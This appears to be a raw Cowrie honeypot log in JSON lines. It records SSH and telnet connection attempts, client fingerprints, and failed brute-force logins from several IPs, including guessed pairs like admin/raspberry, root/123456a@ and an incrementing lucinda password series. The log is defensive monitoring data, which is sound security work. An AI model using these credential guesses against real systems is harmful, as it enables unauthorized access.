{"eventid":"cowrie.session.closed","duration":120.00856733322144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:32.216201Z","src_ip":"212.55.149.117","session":"94b527e844c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38180,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ef05e51e724","protocol":"ssh","message":"New connection: 103.15.226.202:38180 (10.17.0.5:22) [session: 9ef05e51e724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:32.457509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:32.462034Z","src_ip":"103.15.226.202","session":"9ef05e51e724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:32.713865Z","src_ip":"103.15.226.202","session":"9ef05e51e724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sTtfsBkUVacRV3e","message":"login attempt [root/sTtfsBkUVacRV3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:33.463562Z","src_ip":"103.15.226.202","session":"9ef05e51e724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:34.720736Z","src_ip":"103.15.226.202","session":"9ef05e51e724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.126","src_port":60424,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecfc6bdba871","protocol":"ssh","message":"New connection: 198.235.24.126:60424 (10.17.0.5:22) [session: ecfc6bdba871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:46.282436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:47.141137Z","src_ip":"198.235.24.126","session":"ecfc6bdba871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:48.294101Z","src_ip":"198.235.24.126","session":"ecfc6bdba871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:23:57.104415Z","src_ip":"198.235.24.126","session":"ecfc6bdba871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.227.49.228","src_port":58513,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6ba0f6e686","protocol":"telnet","message":"New connection: 193.227.49.228:58513 (10.17.0.5:23) [session: 7b6ba0f6e686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:24:51.005172Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63277,"dst_ip":"10.17.0.5","dst_port":23,"session":"78378b15c753","protocol":"telnet","message":"New connection: 212.55.149.117:63277 (10.17.0.5:23) [session: 78378b15c753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:24:56.995418Z"}
{"eventid":"cowrie.session.closed","duration":13.317304849624634,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:04.322386Z","src_ip":"193.227.49.228","session":"7b6ba0f6e686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":53205,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b399b0c40b","protocol":"ssh","message":"New connection: 193.24.211.100:53205 (159.203.135.109:22) [session: 18b399b0c40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:13.004281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:13.011527Z","src_ip":"193.24.211.100","session":"18b399b0c40b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:13.135720Z","src_ip":"193.24.211.100","session":"18b399b0c40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"raspberry","message":"login attempt [admin/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:13.561861Z","src_ip":"193.24.211.100","session":"18b399b0c40b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:14.689266Z","src_ip":"193.24.211.100","session":"18b399b0c40b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":28194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b20d24311340","protocol":"ssh","message":"New connection: 213.209.159.56:28194 (159.203.135.109:22) [session: b20d24311340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:46.987617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:46.993569Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:47.076475Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda","message":"login attempt [lucinda/lucinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:47.475473Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda1","message":"login attempt [lucinda/lucinda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:48.561661Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda123","message":"login attempt [lucinda/lucinda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:49.647799Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda1234","message":"login attempt [lucinda/lucinda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:50.733461Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda12345","message":"login attempt [lucinda/lucinda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:51.819427Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:25:52.904501Z","src_ip":"213.209.159.56","session":"b20d24311340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.03928685188293,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:26:55.034591Z","src_ip":"212.55.149.117","session":"78378b15c753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40258,"dst_ip":"10.17.0.5","dst_port":22,"session":"36757bb3c61b","protocol":"ssh","message":"New connection: 103.15.226.202:40258 (10.17.0.5:22) [session: 36757bb3c61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:27:08.838127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:27:08.843533Z","src_ip":"103.15.226.202","session":"36757bb3c61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:27:09.085531Z","src_ip":"103.15.226.202","session":"36757bb3c61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a@","message":"login attempt [root/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:27:09.831980Z","src_ip":"103.15.226.202","session":"36757bb3c61b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:27:11.077779Z","src_ip":"103.15.226.202","session":"36757bb3c61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.201.189","src_port":38722,"dst_ip":"10.17.0.5","dst_port":22,"session":"d61837da2bff","protocol":"ssh","message":"New connection: 89.45.201.189:38722 (10.17.0.5:22) [session: d61837da2bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.141260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.145927Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.273583Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:7f:10:55:aa:61:16:70:4b:e4:11:2e:36:a6:4d:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+DIenNZGDzLd0NBJr6LphpMBwfZ6FyaG89mxEr1Nd4xKTHnvBFUwhqhAjE+FBq/MlnoMfw3YJVdvDbpanEag5BDFuG/EmkVwMFecmDjp6SaEadZhDjRZM4Ejhnd84RUavltoTgVAiUVabo0WMDJpYpwRbr70ia3PSK7U+vCQ/4I37WX73SdoGpFB47z3Bj7cuTxfbzXEGdn02WHoMKHxiZ2gTMndQoeh4HU6G6dG6kqpCzG1inZMYxdqR5ROC+7vehLKfdoqSjLzWNlxrEiF9kB6j9u2Rk6PtfyeuTnBOH63n41q/DjYZomVX2Oh5GTK2bOebeKKFLtTtMLQUA3tV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:7f:10:55:aa:61:16:70:4b:e4:11:2e:36:a6:4d:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.866503Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:7f:10:55:aa:61:16:70:4b:e4:11:2e:36:a6:4d:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+DIenNZGDzLd0NBJr6LphpMBwfZ6FyaG89mxEr1Nd4xKTHnvBFUwhqhAjE+FBq/MlnoMfw3YJVdvDbpanEag5BDFuG/EmkVwMFecmDjp6SaEadZhDjRZM4Ejhnd84RUavltoTgVAiUVabo0WMDJpYpwRbr70ia3PSK7U+vCQ/4I37WX73SdoGpFB47z3Bj7cuTxfbzXEGdn02WHoMKHxiZ2gTMndQoeh4HU6G6dG6kqpCzG1inZMYxdqR5ROC+7vehLKfdoqSjLzWNlxrEiF9kB6j9u2Rk6PtfyeuTnBOH63n41q/DjYZomVX2Oh5GTK2bOebeKKFLtTtMLQUA3tV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.870803Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:f3:00:3c:6f:f9:94:d2:e9:c6:94:dc:ab:7d:46:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkg1Hs1dkYJ+VkQdKPHg7g8h9u7gtE00gRF3OssUL3o4ZipcCE5qM8NFP61OmfabtViyqnDE5IAhm1s1V6UofwG/cEB74azO2HgDMq1VS8kSDBTZhy7YdRDSAfhMcCE4SliqQEacfSaIynaMDJB4ga+T8h5s9//V4ummh8ztxcuoJmSJUzhvVPoOmTdIE7P15BAY9Iief+4q++A857R1sevJjxkWVCh8KZOqrNPxREX+YsrrCAmxGhKFn0fc5nyom+E+uPYrAbed9Nuy+fChSAZjX+aA2MEmTJw9cquQ8TupvnfVGoG6dkASzSqgMj867c1PVm06cRfOgHnraRHepT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:f3:00:3c:6f:f9:94:d2:e9:c6:94:dc:ab:7d:46:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.995073Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:f3:00:3c:6f:f9:94:d2:e9:c6:94:dc:ab:7d:46:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkg1Hs1dkYJ+VkQdKPHg7g8h9u7gtE00gRF3OssUL3o4ZipcCE5qM8NFP61OmfabtViyqnDE5IAhm1s1V6UofwG/cEB74azO2HgDMq1VS8kSDBTZhy7YdRDSAfhMcCE4SliqQEacfSaIynaMDJB4ga+T8h5s9//V4ummh8ztxcuoJmSJUzhvVPoOmTdIE7P15BAY9Iief+4q++A857R1sevJjxkWVCh8KZOqrNPxREX+YsrrCAmxGhKFn0fc5nyom+E+uPYrAbed9Nuy+fChSAZjX+aA2MEmTJw9cquQ8TupvnfVGoG6dkASzSqgMj867c1PVm06cRfOgHnraRHepT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:29:04.999169Z","src_ip":"89.45.201.189","session":"d61837da2bff","protocol":"ssh"}
